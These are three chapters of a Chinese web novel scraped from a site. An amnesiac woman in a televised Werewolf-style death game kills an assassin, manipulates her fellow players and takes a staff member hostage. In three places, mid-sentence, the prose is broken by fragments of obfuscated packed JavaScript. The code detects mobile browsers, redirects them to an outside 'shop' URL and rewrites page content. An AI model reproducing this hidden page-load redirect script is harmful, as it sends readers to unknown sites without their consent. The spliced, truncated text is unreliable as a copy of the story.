《我造自己的反有问题吗?》 1. 九乐城(一) ——砰! 心脏好似被纠紧的强烈失重感,使躺在床上的穆炽猛然睁开了眼。 有一点尖锐的白光正悬在她的眼前,被一双手握紧,狠狠朝她刺下! 会死! 穆炽来不及思考,身体已驱使脑袋条件反射地朝右边一偏,堪堪躲过那柄锋利的匕首。 “笃”的沉闷一声,刀刃擦着她的耳廓刺入枕头,又直直插进木板里。 太近了,近得好似连血管都能感知到那股致命的寒意。 “嗯?” 刺客没想到她会在熟睡中忽然醒来,在刀刺偏时,没忍住发出了惊疑一声。 但他反应同样很快,握住匕首的双手瞬间发力,当即迅速一拧,就要将它横过来,继续朝穆炽划去! 穆炽躺着的这张床很窄,窄得让那个刺客不必踩在床面,也足以用一柄匕首杀死她。 但它又太窄了,窄得穆炽只要一抬手,就能掐住刺客的喉咙! 在即将被夺去性命的电光火石之间,穆炽没有余裕去思考、去关注任何事情。 此刻的她头脑清醒无比,唯一充斥在基因本能里的念头仅有一个。 ——先杀了他! 在刺客想要进一步动作前,穆炽已经提前用左手握住他那抓着匕首的手腕,右手则借着左手的发力朝高处一探,将那刺客露出的致命破绽——喉咙——死死掐住! “啊…咳……” 猎物竟然在反抗,对方难以相信,发出嗬嗬两声气音,一只手松开匕首,转而要来掰脱穆炽的禁锢。 穆炽岂能给他机会。 即使大脑没有在思考,她的身体好像同样极其擅长战斗,腰腹一个发力就翻身而起——连带让左手压着刺客的关节狠狠一拧,迫使对方松开那柄尚未从木板中拔出的匕首。 刺客可能因为关节错位而想要发出痛呼,但气管始终被穆炽的五指掐紧,他半点声音也发不出来。 只在迫使刺客仓促应对的瞬息之间,穆炽便获得了这场战斗的主导权,上下位置也应势颠倒。 轮到她死死盯住那个刺客躺在地面,徒劳挣扎着,面庞因缺氧与恐惧涨得紫红。 现在是晚上,房间里没有光源,唯一的照明来自窗外的月亮。 在这黯淡的光线中,穆炽将刺客的每一次反击都毫不留情镇压回去——亦如那毫不动摇的、扣住气管的五指,直至那具身体一动不动以后,才缓慢松开。 那柄匕首依然插在床上,被穆炽抬手拔下。 插得很牢固,对方是下了死手来杀她的。 保险起见,穆炽拿到匕首后,又补了一刀。 她发觉自己的情绪始终冷静,即使看见尸体也没有出现反胃、难受或慌张的生理反应。 甚至不如反杀成功带给她的情绪波动强烈。 逐渐缓下来的心跳频率依然很快,像密集敲响的鼓。 穆炽握紧能把沾染血迹的匕首,嘴唇紧抿成线。 这可不太对劲。 她分明是普通家庭的出身,正常的成长、念书,直到大学毕业,参加工作,在一次野外考察中,不慎坠崖。 怎么会醒来在这么奇怪的地方,还变得如此擅长战斗。 譬如此刻,她知道自己应当半俯下身,踩在地面的脚步轻而慢,摆出伏击的标准架势。 那把匕首被倒扣在掌中,刃身紧贴小臂,是防御与反击兼备的最佳握法。 乍一打量,她住在一间类似守林人的小木屋里,从窗户望出去,是一片分不出品种的树林。 皎洁的月亮悬在半空,穆炽定定望了会,发现了异常。 天上的星星……太少了。 常见的那几颗星宿也看不见。 穆炽收回视线。 她已经不在地球了吗。 穆炽将左手摊开。 食指的关节下方有一处偏深的疤痕,是以前在野外考察时,被树枝划伤而留下的。 形状、深浅、位置,都与记忆里的丝毫不差。 这是她自己的身体。 但此刻,她握住匕首的架势很熟练,指节与掌心却没有常年训练产生的薄茧。 原本方便行动的短发长了许多,到锁骨位置。 身上疤痕同样多了不少,都是旧伤。 体型也变得瘦削,但比记忆里的任何时候都拥有更强的爆发力。 她来到了某个不知名的地方,身上多出了好几道不知名的伤口,还从野外考察实习生变成了野战特种兵。 穆炽将关于自身的一些列情况在脑海里过了遍,重新看向那具依然倒在地板上的尸体。 穿着的衣服与她款式一样,但已经被血染成了暗红色。 处于青壮年时期的男性,死于窒息,又中了好几刀,双眼朝外突出,瞳孔扩散。 血液流出的不多,只在衣服上扩开大片。 果然没什么生理反应,说明她早已习惯看见这些。 哪怕在穆炽记忆里,这还是她第一次直面死人。 不过,是对方要先杀她的,反杀成功是她有本事,而不是她犯下了罪。 穆炽神态从容,在这具尸体边半蹲下来。 距离方才的打斗已过去不少时间,对方的身体已经逐渐冰冷发硬,但还算柔软。 穿的衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705085|189163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟她一样,没有明显特征。 翻过手掌,呈半抓握状态,皮肤粗粝,有厚厚的茧,指甲边缘崎岖,甚至显得有些尖锐。 按了按尸体的胃部,穆炽迟疑了会,还是没有剖开去看他胃里消化的食物种类。 主要是有点恶心。 这间木屋就这么大,又没找到水,不好清洗。 掰开嘴,能看见牙齿磨损的痕迹。 但他的上下各有一对虎牙,尖锐,比其他牙齿更突出些。 人种特征吗……穆炽又仔细端详了遍他的五官。 自动忽略那依然死不瞑目的表情。 褐发褐眼,五官偏深邃,皮肤被晒到的地方黝黑,没被晒到的地方又很白,体毛很重。 不太好判断,但肯定不属于她这样的纯东亚人种。 四肢肌肉倒是发达,估计等会搬起来挺沉。 从这个刺客身上唯一得到的有价值的东西,就是这柄做工精致的匕首。 精致到与这间堪比中世纪的原始小木屋格格不入。 穆炽将它抛向空中。 在凭借肌肉本能的操控下,她可以让匕首在空中甩出一连串轻巧的刀花残影,再稳稳接住。 她以前绝对做不到敢空手抛接利器,还如此轻描淡写。 甚至面对这样陌生且诡异的环境,穆炽以为自己会表现得惊恐一点。 或者说,应当表现得惊恐些。 但实际上,她的心情远比自己预料的还要轻松。 毕竟,不论究竟身在何处,她至少还活着。 这感觉实在很好。 穆炽不着急出去,而是先将这具尸体推去床下,用自边缘垂落的床单盖住。 在处理这种意外状况上,她竟然也能做到如此镇定,好似一个习惯性践踏法律的连环杀人狂魔。 她以前是这种性格? 明明感觉记忆里的她还挺活泼的。 屋内的光线开始变亮。 再过不久,天边的月亮将会彻底落下,天色从极暗转亮。 晨曦的光自东边的地平线升起,照进窗台,也令地板上残留的拖拽血迹清晰可见。 而穆炽始终在那张唯一的小床上坐着,双腿交叠,五指灵巧把玩着那柄匕首。 好似在重新熟悉自己的身体——活在此刻的、真正的自己。 直至下一次将匕首捏停在指尖时,眼角余光瞥见匕首上刻着密密麻麻的小字。 拿近发现是她认识的文字,端端正正刻在正中央。 【狩猎已经开始。】 【你成为了狼人。】 【去杀死所有人。】 2. 九乐城(二) “各位亲爱的贵宾,欢迎你们来到七座城市中最疯狂的欲望游乐场,九、乐、城——!” “在这座由钢铁、霓虹与人类最原始的欲望所铸成的终极乐土内,我是你们的主持人A-72号,今晚将与九乐城一道,为您带来【只要敢想,九乐城就能做到】的极致感官体验!” “寻常那些热门项目自不必多费口舌,瞧瞧这些新推出的独家记忆罐!不论你想体验破界者战斗时的血腥撕咬,抑或想感受杀手追逐猎物时的肾上腺素飙升,甚至是知名影星的独家私人记忆——只要支付足够的通用币,你就能活进别人的故事里!” “还有这些破界者的专属角斗场,噢,请您放心,我们肯定会将最凶残、最勇猛、最野蛮的破界者投入其中,让您在最安全的位置观赏完整场比赛!当然,假设您愿意提前支付一点点通用币,成功押注获胜者,就可以拿走翻倍的快乐!” “没错,快乐,无论您在其他城市经历了什么,来到九乐城,您只需要全身心放松,享受这些明码标价的快乐狂欢!” “准备好了吗?3、2、1——由死刑犯们倾情奉献的特别真人秀正式开场,让我们把画面交给光幕,尽情押注您看中的胜利者吧!” “是畏畏缩缩的1号吗?还是警惕的3号呢?或者是看起来——噢,可怜的5号已经被选中成为第一个猎杀目标了!” 被音乐、欢呼、调笑与叱骂声包围着,足有整面墙大小的光幕被切割成数个窗口。 其中一个窗口的画面正伴随主持人的声音逐渐放大,清晰显露出躺在床上沉睡的那道女性身影—— “干得漂亮!” “杀了他!好!!” “就这样杀下去!!” 偌大的光幕外,当看见5号竟然能反杀成功时,有些性情直爽的,当场激动得欢呼鼓掌。 哪怕知道屏幕的5号听不见,他们也为存活下来的她高声呐喊,,毫不吝啬手中的打赏。 光幕一侧,押注在5号的数字在疯狂攀升。 弹幕滚动得太过密集,甚至挡住了画面。 【刚才可是显示她的危险系数只有1%】 【36%对1%都没打过,精彩,太精彩了】 【谁标的1%,笑死个人】 【上次谁把他家的宠物仿生狗丢进去了来着,也有19%吧】 【是说十九分之一的宠物仿生狗就能把7号杀了吗哈哈哈哈哈】 一拨在肆意嘲笑刚才挂掉的7号,另一拨则在讨论5号的战力。 【话说她是破界者?没看出来啊,混了什么动物的基因?】 【外表看不出来,但力量很大,动作也灵活,我猜是鸟类的】 【怎么不可能是水生的?】 【笑死,谁不知道水生的动作慢得很,老子咬你一口,你躲都不知道躲】 【我猜是食肉的哺乳动物,猎豹或者狮子】 【投猎豹一票】 【反正不可能是没有战斗力的共生者】 【猜猜猜,有什么好猜的,格老子的,赶紧去杀下一个,***的等不及了!】 坐在这里的观众喜欢血腥与暴力,极度追求感官上的刺激,越是出现预期之外的场景,越能令他们疯狂叫好。 所有的目光都投向5号窗口,期待着她做出的任何一点反应。 被投入真人秀节目的囚犯都被清洗过记忆,他们只会凭借本能与仅剩的一点点常识行动,往往能带给他们出其不意的体验。 许多死刑犯是不识字的,甚至只会乱杀乱点一通,看起来滑稽又好笑。 他们想要看见强者出糗,想要看见弱者露出最狼狈不堪的表情,就像一群贪婪的食人鱼,只要闻到一点点血腥味,都会毫不迟疑地扑上去。 而往往认识几个字的,就更有意思了,他们做出的反应会复杂得多,也能让节目变得更精彩。 亦如此刻,这些攒动的人头在注视着5号的反应,期待着她能带给他们更多惊喜。 或者一场滑稽的戏剧落幕。 检查尸体,并不意外,许多人都这么干过。 对陌生的空间与失去的记忆毫无反应,甚至在抛玩匕首。 光幕上的画面实在清晰,令所有人都能看清5号的脸,以及浮现在她唇角的细微笑意。 她很放松,并不对眼前的场景有任何惊慌的反应。 好似眼前的一切都是自然而然发生的、合理存在的事物。 场外嘈杂的动静,开始逐渐消失。 5号表现得太过游刃有余,放松且从容,以至于现场原本在关注其余窗口的目光,都开始不自觉汇聚在她的身上。 一位拥有黑色半长发、身材高挑而劲瘦的年轻女性。 她看起来并不强壮,身体表面也没有明显生物化的特征。 不论是谁第一眼看见她,都会误认为她只是个普通的共生者。 但在被人造月光衬托的鲜红下,在依旧死不瞑目的尸体面前,她没有任何负面的情绪反应。 只在把玩匕首时,心情很好的弯起了嘴角。 他们第一次见到如此矛盾的特质,融合在一个人身上。 ——这实在令他们兴奋极了。 >>> 天亮了。 穆炽推开那扇没有锁的木门。 抬眼看过去,四周依旧是望不见尽头的森林,以及几栋与她身后差不多规格的小木屋。 像流水线批量制造。 几栋小木屋环绕着中央那块类似广场的地方,有口用石砌的井。 这大概就是打水的地方。 广场东侧则摆着一张三米长的木桌,连带两条同样长度的板凳,坐七八个人绰绰有余。 穆炽不是先到的,桌边已坐着三个男性——两个大约三十岁的壮年,一个稍老些,估计有近五十岁。 以及一位女性,二十来岁的姑娘,模样可爱。 至于人种,还是像昨晚死掉的那个刺客一样,不具备典型特征。 那三个汉子看见穆炽过来,倒也主动。 “刚醒?坐,来坐。” 他们换了下位置,让穆炽与姑娘坐在一侧,三人坐在另一侧。 除此以外,没人再说话。 过了片刻,又过来一个身形瘦削的男人,来回看了几眼,选择坐在穆炽的对面。 总共六个人,身穿几乎统一的衣服款式,围着一张上面什么都没有的长桌。 沉默持续了很长时间。 这是个好消息,意味着他们互相之间都不认识。 很大概率,现在才是他们第一次见面。 除了穆炽,没人知道昨晚死了一个狼人。 而她成为了新的狼人。 穆炽摸上长袖遮挡下的小臂。 她昨晚从尸体衣服上扯下了一截布条,将它固定在了那里。 在她的记忆里,确实有这么一款游戏。狼人杀。 这款游戏的游戏规则十分简单,根据参与的玩家数量,会分别有一部分人被分配到狼人、村民及预言家等身份。 接着,在以天数为单位的发言和投票环节中,村民先一步投票处刑所有狼人,或狼人在夜晚杀死所光所有神职/村民。 她需要杀光这五个人,才能结束游戏吗。 就在这片沉默中,一位穿着与他们不同的老人,带着两个青年,颤颤巍巍走过来。 “第一晚竟然是平安夜啊,恭喜各位。” 餐食被分发到穆炽他们手中,就一个面包,搭配一碗清淡的汤。 老人则站在那里,继续发言。 在穆炽眼里,他就像个尽职尽责的游戏主持人。 “但,狼人是狡猾而不知保足的野兽,依旧会出来狩猎。” 他的目光慈祥,又担忧着,将在座六人的反应逐一看在眼里。 有的人目露不屑,有的人倨傲自信,有的人担惊受怕。 只有穆炽,脸上没有任何情绪反应。 他看了穆炽两眼,才继续开口道。 “在这里,我有一些忠告要给予你们。” “狼人会在晚上游荡,太阳下山后回到房间,禁止出门。” “狼人每晚只会随机挑选一个目标杀害。” “所有人都可以在白天自由活动,杀死你认为是狼人的叛徒——当然,也可能会被反杀。” “当狼人全部死去,你就安全了。” 听到【叛徒】这个单词,穆炽的指尖微微一动。 有那么一瞬间,比昨晚任何时候都要强烈的情绪波动,瞬间席卷了她。 如同骤然涨潮的海浪,却难以辨明源头来自何处。 老人慢吞吞说完那些忠告,转过身,打算离开这里。 所有人都安静听着,没人发出异议。 “等等。” 穆炽开口。 老人的脚步停了下,转过身来。 “怎么了,我的孩子?” 他甚至朝穆炽笑了笑,模样和蔼。 “你,还有他们,”穆炽示意跟在他身后的那两个青年,“住在哪里?” 似乎是第一次听到有人问他这个问题,老人讶然看了她一会儿,才回答。 “这不在你需要知道的范围内。” 在穆炽的注视下,他们走进森林里,很快就消失不见了。 直到这时,弥漫在这张木桌附近的空气好似才重新流动般,氛围忽然放松下来。 “你还真敢问啊。”对面一个约三十岁的男人开口,“哎,不过我也挺好奇的,刚才怎么就没想过要多问几个问题呢?” “还是那些忠告更重要吧,问出老头住哪里又能怎样。” 另一个与他年龄相仿的男人接话,觉得这件事根本无关紧要,也就穆炽会多嘴一问,抓不住重点。 身形消瘦的男人专注撕面包,一句话也没说。 “狼人啊……” 跟穆炽坐在一起的姑娘点了点嘴唇,问她,“你觉得谁是狼人呢?” “我觉得……” 穆炽张口,声音冷淡,却有着轻而易举吸引在场所有人注意的能力。 而她如此说道。 “——你们,全部都是狼人。” 空气死寂片刻。 “哈……荒谬,这么说,你现在就想把我们全杀光不成!” 最开始说话的那个男人将面包往桌面重重一拍,瞪着穆炽,拳头关节捏得咯咯作响。 “…………” 其余几人没有开口,但也变得极不友善,或警觉或瞪向穆炽。 气氛剑拔弩张,如同一张拉满弦的弯弓。 就在这种时候,穆炽竟然微微一笑。 “别紧张,各位。” 她举起没有绑着匕首的那只手,朝下轻压。 “这只是一个试探,而结果应当值得你们高兴。因为,在我们中间,并不存在狼人。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705086|189163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“……什么?” 穆炽这句话,令所有人都愣住了。 不存在狼人?那老头不是刚刚才说有每晚都狩猎的狼人吗! 穆炽站起身,视线也变得居高临下。 仅用一句话,她便掌控了场面的主导权,使这五人都不自觉想要听她继续说下去。 而非陷入原本应当产生的勾心斗角、互相防备,乃至猜忌下的盲目厮杀之中。 “当我说出,【所有人都是狼人】时,我在观察各位的反应。” 穆炽声音平淡,偏沉,又透着些许久未进食又熬了夜的沙哑。 “各位想想看,倘若你们被交代了自己是狼人,忽然听到有人怀疑到自己头上,会是什么反应?” “在死亡的威胁下,要么是惊慌,要么是心虚,要么是强装镇定。” “听见我一口气怀疑你们所有人,第一个反应也会是感到惊讶。毕竟,只有狼人才会知晓自己的同伴是谁,才会知道我究竟冤枉了几人。” 越听越有道理,这五人若有所思的点头,被穆炽说服了。 “照你这么说,我们中间没有狼人?呵,或者你就是狼人也说不定!” 但刚才开口的暴躁老哥,再次质疑起穆炽的身份。 “如果我是狼人,不会冒着死亡的风险,在第一个白天就试探你们。藏起来,不要出风头,安静的狩猎,这才是狼人会做的选择。” 穆炽背着手,在他们面前踱步。 他们再次被说服,半信半疑的嘟哝着“确实啊”。 哪有狼人傻到不隐瞒身份,立刻成为众人的靶子? “但你刚才说的,我们都不是狼人,又是什么情况?” 穆炽的脚步停下。 目光认真看向这五人。 “在我说出我的猜测前,先请各位回忆一下,在今天之前,你们是怎样来到了这里?” 没有任何关于这个世界的记忆,穆炽就用自己的办法,不着痕迹的从他们口中套话。 她同样比自己想象中的更适合做这个——就像娴熟地驱赶羊群那般,让他们听从她的指挥。 那个老头第一句话就透露了,昨夜是狼人杀的第一晚。 也就意味着,他们一定有一个【到达游戏现场】的过程。 “从你开始。不要紧,想到什么说什么。” 穆炽点名那个与她同行过一段距离的姑娘。 “我,我其实什么都不记得,只知道自己要来参加一场生死赛,赢了有奖励……” 对方“蹭”一下坐直了身体,很紧张的捏紧手里啃缺一口的面包,话也讲得有点磕磕巴巴。 “规则也记得一点,但没有刚才那位老爷爷讲得清楚……不记得我是什么身份……” 所以才会说昨天是个平安夜? 穆炽示意她做的很好,又看向下一个人。 “跟她一样。”对方开口。 “同样。” “我也是。” “我也一样。” 穆炽沉吟片刻,再次看向他们。 “是的,”她开口,话语铿锵有力,“我们的情况都一样。没有任何记忆,被告知参赛,醒来在这个该死的地方,被狼人狩猎,又要猎杀狼人。” “这就是为了让我们自相残杀而设置的一场比赛。有没有狼人,并不重要。” “而那位给予我们忠告的老人说了,【杀死你认为是狼人的叛徒】。对我们人类来说,狼人怎么会是叛徒?狼人是异类才对。” “所以,我们真正要杀死的叛徒,是那个想要挑拨我们自相残杀的老人!” 穆炽的声音逐渐提高,也带动了所有人的情绪。 “原来是这样,所以你才会问他住哪里吗!” 暴躁老哥拍桌,对穆炽竖起大拇指,“对方没有正面回答,反而更加证明了他在心虚!” “没错。” 穆炽微笑着看向众人,背在身后的右手始终压在匕首的刀柄上。 “因此,我有个提议。” >>> “哈哈哈哈,真是没看出来啊,竟然来了个这么会说话的。” 办公桌前,一道经过信号处理后略微失真的声音响起,连笑声也显得刻板。 “观众的反响也很热烈,毕竟这档节目播出以来,他们看见的一直都是猜忌与互杀的戏码,多少也失去了新鲜感。” 那道机械的女性嗓音继续说道,好似在自言自语。 “没想到顶着麻醉喷雾都能醒,是她的身体素质特殊?还是单纯的运气?” 在穆炽他们面前出现过的老者带着那两个青年,恭敬站在办公桌前。 等上司没有继续说话,他才小心开口。 “如果之后按照她的提议,剩余六个人夜晚都结伴出门巡逻,那么,这场游戏就没办法进行下去……” 毕竟忠告——也就是规则之一,就是让他们在夜晚待在房间里。 以往也会有不听劝非要夜游的,他们直接杀了就行,还能让剩下的人互相猜忌,引发冲突。 可这六个人一起夜游,原本布置在木屋里的麻醉喷雾都会不起效…… 机械女声打断老者的话,微微笑起来。 “‘天空’不是也有布置麻醉装置吗?全麻醉了吧,然后你随便挑一个杀,记得用她拿到的狼匕,做的明显点,不要再给她藏匿的时间。” “想必观众也会很期待,她还能如何拉拢剩下的村民。” 3. 九乐城(三) 穆炽只在那栋小木屋里待了很短的时间。 屋里的血腥气太重。 等她再出门时,太阳已经掉下地平线了,月亮重新被挂起。 这里没有蜡烛与其他照明装置,一旦太阳没了,他们视野的能见度就会变得很低。 连广场、另外几栋小屋及森林,在此刻也只能隐约看见一个轮廓。 这是逼迫他们遵守【夜晚禁止出门】的手段之一。 但在穆炽的鼓动下,至少这一批狼人杀玩家都被她说服,转而打算去杀死给予他们忠告的可疑老头。 这种齐心协力的讨伐令他们感到无比兴奋,而穆炽一开始就将他们全部归拢为“清白”这点,更是令众人对【他们是一边的】这点笃定无疑。 在失去记忆、又尚未适应的情况下,他们的盲从性是最高的。 见到穆炽出现,等在门口的那个姑娘开心朝她靠过来。 比起那些男人,她下意识会更亲近穆炽。 “我们都准备好了,木屋与周边也翻遍了,没有斧头或菜刀之类的锐器,索性把木桌拆散,捡几根木棍防身。” 穆炽看了另外几人一眼。 他们手里都拎着一根木棍,呈一字型站开,神情严肃。 看来也不是完全信任了彼此,知道不能把后背留给别人。 “很好,出发。” 穆炽没有说什么,反而主动走在他们前方。 从头到尾泰然自若,像是半点也不担心会有人从她身后搞偷袭。 另外几人互相对视一眼,反而也跟着放下些许紧张。 从聚集到广场开始,穆炽始终镇定,沉稳,讲出的话条理清晰,很有说服力。 人类是群居生物,抱团是一种镌刻在基因里的天性与本能。 如果穆炽没有将他们六个人划成一个整体,随着时间推移,他们自会分裂成一个一个的小团体,开始争斗,厮杀,最后幸存一人。 或者谁也不能活下来。 经过广场时,穆炽脚步微顿,回头看了他们一眼。 不过,这样的剧情展开实在俗套。 还是来关注点细节吧,譬如,天上的月亮……已经很久没有挪动位置。 “……等,等等,这气味,不对劲……” 就在此刻,众人开始踉跄着,身体摇晃,仿佛站在剧烈起伏的海浪中央。 他们试图将手攀在什么东西上,好控制住自己的身体。 但这样的挣扎只是暂时的,难以抑制的眩晕感会在几个呼吸间就吞没他们的理智,将他们拉入一无所知的沉眠里去。 穆炽晃了下身体,没有像其余几人那般慌乱,而是缓慢半蹲下身,手掌撑着地面—— 但她也没能维持这个姿势太长时间,就同样闭起眼睛,栽倒在地。 >>> 又过去好一会儿,才有脚步声从森林那边传来,略沉,不紧不慢。 是一个两手空空的青年,白天跟在老人身后过来送餐的二人之一。 为了给予观众最大的沉浸式体验,他穿的衣服普通,身上也没有携带任何超出场景许可范围外的武器或设备。 不过,像这样强行介入节目、干扰进程的次数极少,以至于他本身也没有多么丰富的经验。 为了防止从拟态月亮后喷出的麻醉喷雾剂量不够,他特意多等了会,才按照上司的命令,过来处理现场。 他本人已经提前注射过解毒剂,不会受到麻醉喷雾的影响。 即使空气中依然充斥着明显的麻醉气味,他也可以照常呼吸。 当然,对这些“村民”而言,麻醉喷雾的效果一直都十分有效。 往期节目已经无数次证明了这点。 倒是像这种强行伪装狼人作案现场的活,他还是第一次干。 据说这也是观众的要求——他们迫不及待想要看见戏剧、混乱、血腥与冲突,越刺激就越令人感到愉悦。 该怎么说呢,会落得这样的下场,也算是这些人活该。 青年远远瞥过去,看见六道横七竖八倒在地上的身影。 有些人手里还握着木棍,一副看起来要跟他们拼命的架势。 他在心底嗤之以鼻。 就凭这东西还想跟他们暴动。 果然记忆被洗掉后,认知也会变得像一叠泡过水的草稿纸,既白痴又愚蠢,充满着不切实际的幻想。 算了,还是赶紧找到那个拿着狼匕的女人,随便借她的手杀死一个人吧。 他比了个手势,示意道具组那边帮忙把月亮的光线调亮些。 乌漆嘛黑的,又不让带红外镜,他什么也看不清。 天空的“月亮”立刻亮了起来,像一颗流明过高的灯泡,将这片广场照得纤毫毕现。 那个女人也找到了,半蜷着身体倒在那里,摆出一副好像还能防备攻击似的架势。 一点用也没有。 见麻醉喷雾如预想中那样起效,青年彻底放下心来,抱着早点干完早点收工的态度,在她身边蹲下。 开始摸索被她藏在身上的那柄狼匕。 从监控画面上看,记得是在左手的小臂位置…… 青年的手摸到她左边的衣袖,感觉有点不对。 怎么湿漉漉的? 他们还没有设置雨天,地面是干的,按理来说,怎么也不可能是沾到的水。 除非—— 青年的眼睛骤然瞪大,单手习惯性往身后摸去,却捞了个空! 糟了,这身衣服是村民穿的,没有武装带! 等再下一刻,他已经没机会再做出更多的反应了。 一柄匕首,轻轻贴上了他的颈部。 原本应当冰凉的刃身变得温暖。 既是被体温焐热的,也是被血焐热的。 “没有带武器?”女人的声音在他耳边微笑,“看来你还不够谨慎啊。” 致命处被此处唯一的凶器——匕首指着,青年只能举起双手。 “你竟然通过疼痛来让自己保持清醒?”他刚开口就觉得不对,“不可能,疼痛是无法阻止麻醉剂起效的!” “它不是为了阻止麻醉剂起效,只是想用让自己更快的清醒,顺便判断没有致幻类的药物。”对方淡淡道。 青年听得更吃惊,“麻醉剂对你不起作用?!” 他还是第一次遇见如此快就从麻醉效果中脱离出来的人! “谁知道呢,大概是我运气比较好吧。” 对此,穆炽只给了一句不清不楚的解释,极其敷衍,根本没打算为别人解惑。 第一晚能半途醒来的经历让她赌了一把,可不意味着她强行让自己保持清醒的同时还要好为人师。 “好了,我知道你只是个打工的。”穆炽冷淡道,“带我到组织这场游戏的人那里去。” “带你……?” 青年刚露出“你在逗我玩吧”的表情,右手当即传来一阵尖锐的疼痛,令他惨叫出声。 穆炽收回匕首,重新贴在他颈侧。 “再多啰嗦一个字,等下我就插进你的小腹里,横着切一刀。” 她轻笑出声,“这点疼痛可不会死人的,反而会很有意思。想看看吗?你抱着自己流出来的肠子,跌跌撞撞走回去求救的场景。” “反正你怎么样都得回去,我是不介意你通过什么方式回去的。” 青年浑身抖得不行。 血腥的场面见得多了,习惯了,可不等于他能接受自己也被这样对待! 而会被送来这里的人,他根本不能指望他们下不了手……! 这片地方的麻醉剂气味依旧很浓,穆炽轻而无声地吐了口气,强压着仍处在强烈眩晕中的大脑。 从表面上来看,她依旧镇定而冷静,不受半点影响。 “还是说,有很多观众已经在期待看见这样的画面了?不如我就这样做给他们看吧?” 她用匕首的尖端贴着人质的腹部,来回比划。 即使嗓音透着点笑意,声线也放得很轻;但在青年耳中听来,根本就是魔鬼在讲话。 他忍着右手的剧痛,赶紧站起来。 穆炽也跟着他起身,那柄匕首又回到对方的颈侧,始终紧贴着致命处。 这人没有受到麻醉剂的影响,他一定有某种办法规避掉麻醉剂的效果——但穆炽知道自己不能问。 一旦朝对方索要这个办法,就等同于她向对面示弱,暴露出“麻醉剂其实对她有一定效果”这条线索。 倘若他们反应过来,立即加大剂量,穆炽不确定自己还能不能保持清醒。 左手一直传来热灼般的疼痛,在麻醉喷雾效果的影响下不算尖锐,但能够令她对自身的注意力有一个锚点。 在这个死寂的“夜晚”,天上的那轮“圆月”格外亮,像个小太阳,也像一盏硕大的冷光灯,照着青年来时走过的路。 此刻,也是他第一次被人用匕首指着,一路都不敢回头。 穆炽落在青年稍后半步的位置,全程盯着人,不给对方反击的机会。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705087|189163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她的意识不算清楚,好在用凶器威胁人这种事更多得用上武力,也不那么需要智商。 “其实,即……即使你这样威胁我也没用的。” 走到半途,青年小心翼翼开口。 “你的那几个同伴,你不想救他们了吗?我的同事也可以用他们的命来威胁你的。” “什么同伴,关我什么事。” 穆炽冷冰冰开口。 “我连他们的名字都不知道,只是当诱饵钓你们出来而已。拿他们的命威胁我有什么用?一个没有记忆的人,难道还会有良心吗。” 青年被噎住了,无法反驳:“…………” “脚下别停。” 穆炽随手用匕首戳了他屁股一下,扎得他嚎了一嗓子,老老实实加快脚步。 像被抽了一鞭子的牛,“哞”的一声就开始干活了。 这女人是真的像她说的那样,半点良心也没有! 又走了一段路,他们已经进入森林很长一段距离了。 有树叶遮蔽,月亮的照明也被削弱不少。 穆炽仔细看了那些树木,确定她是真的无法准确辨认品种。 可能确实不在地球上了。 否则,以她记忆里的工作经历来说,即使不是这方面的专家,多少也能看见几种眼熟的。 在这种压抑的死寂中,青年扛不住被匕首贴在致命处的恐惧,再次找穆炽搭话。 “你这根本不是结束游戏的正确办法,你就算跟着我回去,也会被抓住,投到下一个游戏里去。真的,你还不如回去当狼人,反正狼匕已经落在你手里,那五个人又昏睡过去了,就算你一刀一个也……嗷!” 青年的屁股又被匕首扎了下,痛得他吱哇乱叫。 “只有一个幸存者,是吗?狼人就像病毒,而它具现化成了这把匕首。” 只要谁拿到,谁就是狼人。 穆炽将匕首随意挽出一个刀花。 或许过去也有使用某些手段,成功杀掉狼人的“村民”。 但很快,他们就会发现,拿到匕首的自己变成了下一个狼人。 这是最多仅有一人能存活的残酷比赛。 不如说,“赢得这场比赛的条件根本不是身为狼人杀掉村民,抑或作为村民杀光狼人。” “赢的条件根本不在游戏里。” 穆炽的声音不疾不徐,却足够敏锐,使青年没忍住心底的惊愕,转过头来看她。 “观众的【人气值】,才是真正胜利的条件。” 在这句话的结尾,穆炽朝面露惊骇的他露出一个微笑。 “我说的不对吗?” 只要赚取的人气值足够高,无论她做出什么行为,都能被原谅。 青年张口结舌,完全没想到竟然有人能在投入游戏的当天,就猜出了这么多东西! “你……你的记忆没有清洗干净?” 他只能想出这个可能性。 “嗷!!” “我不是说过了吗,脚步别停。” 穆炽收回脸上笑意,面无表情的,匕首又朝他屁股扎了个不深不浅的血洞。 反正屁股肉多,没什么神经,多扎几下也死不了人。 走路痛就痛点,管她什么事。 她没有记忆,也没有良心。 青年也不敢伸手去摸自己的伤口,心惊胆战开口。 “我们已经到了。” 